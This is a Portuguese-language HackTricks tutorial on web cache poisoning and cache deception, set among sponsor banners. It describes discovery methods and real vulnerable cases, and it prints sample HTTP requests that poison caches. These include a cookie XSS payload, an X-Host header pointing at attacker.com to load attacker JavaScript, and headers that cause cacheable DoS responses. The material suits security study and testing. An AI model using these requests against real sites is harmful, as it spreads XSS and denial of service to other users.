# Envenenamento de Cache e Decepção de Cache
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
 (1) (2).png>)
\
Use [**Trickest**](https://trickest.io/) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
Obtenha acesso hoje:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## A diferença
> **Qual é a diferença entre envenenamento de cache web e decepção de cache web?**
>
> * No **envenenamento de cache web**, o atacante faz com que a aplicação armazene algum conteúdo malicioso no cache, e esse conteúdo é servido do cache para outros usuários da aplicação.
> * Na **decepção de cache web**, o atacante faz com que a aplicação armazene algum conteúdo sensível pertencente a outro usuário no cache, e o atacante então recupera esse conteúdo do cache.
## Envenenamento de Cache
O objetivo do envenenamento de cache é fazer com que os **clientes carreguem recursos inesperados parcialmente ou controlados pelo atacante**.\
A resposta envenenada será servida apenas aos usuários que visitarem a página afetada enquanto o cache estiver envenenado. Como resultado, o impacto pode variar de inexistente a enorme, dependendo se a página é popular ou não.
Para realizar um ataque de envenenamento de cache, você precisa primeiro **identificar entradas sem chave** (parâmetros que não precisam aparecer na solicitação em cache, mas que alteram a página retornada), ver **como abusar** desse parâmetro e **obter a resposta em cache**.
### Descoberta: Verifique os cabeçalhos HTTP
Normalmente, quando uma resposta foi **armazenada em cache**, haverá um **cabeçalho indicando isso**, você pode verificar quais cabeçalhos você deve prestar atenção neste post: [**Cabeçalhos de cache HTTP**](../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
### Descoberta: Caching de código 400
Se você está pensando que a resposta está sendo armazenada em um cache, você pode tentar **enviar solicitações com um cabeçalho ruim**, que deve ser respondido com um **código de status 400**. Em seguida, tente acessar a solicitação normalmente e se a **resposta for um código de status 400**, você sabe que é vulnerável (e até mesmo poderia realizar um DoS).\
Um cabeçalho mal configurado pode ser apenas `\:` como cabeçalho.\
_Obs: às vezes, esses tipos de códigos de status não são armazenados em cache, então este teste será inútil._
### Descoberta: Identifique e avalie entradas sem chave
Você pode usar o [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) para **forçar parâmetros e cabeçalhos** que podem estar **alterando a resposta da página**. Por exemplo, uma página pode estar usando o cabeçalho `X-Forwarded-For` para indicar ao cliente que carregue o script de lá:
```markup
```
### Obter uma resposta prejudicial do servidor back-end
Com o parâmetro/cabeçalho identificado, verifique como ele está sendo **sanitizado** e **onde** está **sendo refletido** ou afetando a resposta do cabeçalho. Você pode abusar dele de alguma forma (realizar um XSS ou carregar um código JS controlado por você? realizar um DoS?...)
### Obter o cache da resposta
Depois de **identificar** a **página** que pode ser abusada, qual **parâmetro/cabeçalho** usar e **como** abusá-lo, você precisa obter o cache da página. Dependendo do recurso que você está tentando obter no cache, isso pode levar algum tempo, você pode precisar tentar por vários segundos.\
O cabeçalho **`X-Cache`** na resposta pode ser muito útil, pois pode ter o valor **`miss`** quando a solicitação não foi armazenada em cache e o valor **`hit`** quando está em cache.\
O cabeçalho **`Cache-Control`** também é interessante para saber se um recurso está sendo armazenado em cache e quando será a próxima vez que o recurso será armazenado em cache novamente: `Cache-Control: public, max-age=1800`\
Outro cabeçalho interessante é **`Vary`**. Este cabeçalho é frequentemente usado para **indicar cabeçalhos adicionais** que são tratados como **parte da chave de cache** mesmo que normalmente não sejam chaveados. Portanto, se o usuário conhece o `User-Agent` da vítima que está visando, ele pode envenenar o cache para os usuários que usam esse `User-Agent` específico.\
Mais um cabeçalho relacionado ao cache é **`Age`**. Ele define os tempos em segundos em que o objeto esteve no cache do proxy.
Ao armazenar em cache uma solicitação, tenha **cuidado com os cabeçalhos que você usa** porque alguns deles podem ser **usados inesperadamente** como **chaveados** e a **vítima precisará usar o mesmo cabeçalho**. Sempre **teste** um Envenenamento de Cache com **diferentes navegadores** para verificar se está funcionando.
## Exemplos de exploração
### Exemplo mais fácil
Um cabeçalho como `X-Forwarded-For` está sendo refletido na resposta sem ser sanitizado.\
Você pode enviar uma carga útil básica de XSS e envenenar o cache para que todos que acessarem a página sejam afetados pelo XSS:
```markup
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a.">"
```
_Observação: Isso irá envenenar uma solicitação para `/en?region=uk`, não para `/en`_
### Usando envenenamento de cache da web para explorar vulnerabilidades de manipulação de cookies
Os cookies também podem ser refletidos na resposta de uma página. Se você puder abusar disso para causar um XSS, por exemplo, poderá ser capaz de explorar o XSS em vários clientes que carregam a resposta de cache maliciosa.
```markup
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
```
Observe que se o cookie vulnerável for muito usado pelos usuários, as solicitações regulares limparão o cache.
### Usando vários cabeçalhos para explorar vulnerabilidades de envenenamento de cache da web
Às vezes, você precisará **explorar várias entradas sem chave** para poder abusar de um cache. Por exemplo, você pode encontrar um **redirecionamento aberto** se definir `X-Forwarded-Host` para um domínio controlado por você e `X-Forwarded-Scheme` para `http`. **Se** o **servidor** estiver **redirecionando** todas as solicitações **HTTP** para HTTPS e usando o cabeçalho `X-Forwarded-Scheme` como o nome de domínio para o redirecionamento. Você pode controlar para onde a página é apontada pelo redirecionamento.
```markup
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
```
### Explorando com o cabeçalho `Vary` limitado
Se você descobrir que o cabeçalho **`X-Host`** está sendo usado como **nome de domínio para carregar um recurso JS**, mas o cabeçalho **`Vary`** na resposta está indicando **`User-Agent`**, então você precisa encontrar uma maneira de exfiltrar o User-Agent da vítima e envenenar o cache usando esse user agent:
```markup
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com
```
### Explorando o Envenenamento de Cache HTTP abusando do HTTP Request Smuggling
Aprenda aqui como realizar ataques de [Envenenamento de Cache abusando do HTTP Request Smuggling](http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning).
### Teste automatizado para Envenenamento de Cache Web
O [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) pode ser usado para testar automaticamente o envenenamento de cache web. Ele suporta muitas técnicas diferentes e é altamente personalizável.
Exemplo de uso: `wcvs -u example.com`
 (1) (2).png>)
Use o [**Trickest**](https://trickest.io/) para construir e automatizar facilmente fluxos de trabalho alimentados pelas ferramentas da comunidade mais avançadas do mundo.\
Acesse hoje:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Exemplos Vulneráveis
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
O ATS encaminhou o fragmento dentro da URL sem removê-lo e gerou a chave de cache usando apenas o host, caminho e consulta (ignorando o fragmento). Portanto, a solicitação `/#/../?r=javascript:alert(1)` foi enviada para o backend como `/#/../?r=javascript:alert(1)` e a chave de cache não continha a carga útil dentro dela, apenas host, caminho e consulta.
### GitHub CP-DoS
O envio de um valor ruim no cabeçalho content-type acionou uma resposta em cache 405. A chave de cache continha o cookie, portanto, era possível atacar apenas usuários não autenticados.
### GitLab + GCP CP-DoS
O GitLab usa buckets GCP para armazenar conteúdo estático. Os **Buckets GCP** suportam o **cabeçalho `x-http-method-override`**. Portanto, era possível enviar o cabeçalho `x-http-method-override: HEAD` e envenenar o cache para retornar um corpo de resposta vazio. Também poderia suportar o método `PURGE`.
### Rack Middleware (Ruby on rails)
A aplicação Ruby on Rails é frequentemente implantada ao lado do middleware Rack. O código Rack abaixo pega o valor do **valor `x-forwarded-scheme` e o usa como o esquema da solicitação**.
 (2).png>)
O envio do cabeçalho `x-forwarded-scheme: http` resultaria em um redirecionamento 301 para o mesmo local, o que causaria um DoS sobre esse recurso, como neste exemplo:
.png>)
A aplicação também pode suportar o cabeçalho `X-forwarded-host` e redirecionar o usuário para esse host, tornando possível carregar arquivos JavaScript do servidor do atacante:
 (2).png>)
### 403 e Storage Buckets
Anteriormente, o **Cloudflare** costumava **armazenar em cache** as respostas **403**, portanto, o envio de **cabeçalhos de autorização ruins** tentando acessar **S3** ou **Azure Storage Blobs** expostos retornaria um 403 que seria armazenado em cache. O Cloudflare não armazena mais as respostas 403, mas isso pode funcionar com outros proxies.
.png>)
### Injetando Parâmetros Chaveados
Com bastante frequência, os caches são configurados para **incluir apenas parâmetros GET específicos na chave de cache**.
Por exemplo, o Fastly usando o Varnish **armazenou em cache o parâmetro `size`** na solicitação, mas se você enviou **também** o parâmetro **`siz%65`** com um valor ruim, a **chave de cache** foi construída com o **parâmetro de tamanho bem escrito**, mas o **backend** usou o **valor dentro do parâmetro codificado na URL**.
.png>)
Codificar a segunda parâmetro `size` faz com que ele seja ignorado pelo cache, mas usado pelo backend. Dar ao parâmetro um valor de 0 resultaria em um Bad Request 400 cacheável.
### Regras de Agente do Usuário
Devido à grande quantidade de tráfego que ferramentas como FFUF ou Nuclei geram, alguns desenvolvedores decidiram bloquear solicitações que correspondam aos seus agentes de usuário. Ironicamente, esses ajustes podem introduzir oportunidades indesejadas de envenenamento de cache e DoS.
 (2).png>)
Descobri que isso funcionou em vários alvos, com agentes de usuário de diferentes ferramentas ou scanners.
### Campos de Cabeçalho Ilegais
O formato do nome do cabeçalho é definido em [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) da seguinte forma:
 (2).png>)
Em teoria, se um nome de cabeçalho contiver caracteres diferentes dos listados em **tchar**, ele deverá ser rejeitado com um Bad Request 400. Na prática, no entanto, os servidores nem sempre respeitam o RFC. A maneira mais fácil de explorar essa nuance era direcionando o Akamai, que não rejeita cabeçalhos inválidos, mas os encaminha e armazena em cache qualquer erro 400, desde que o cabeçalho de controle de cache não esteja presente.
.png>)
O envio de um cabeçalho contendo um caractere ilegal, `\`, causaria um erro de Bad Request 400 cacheável. Este foi um dos padrões mais comumente identificados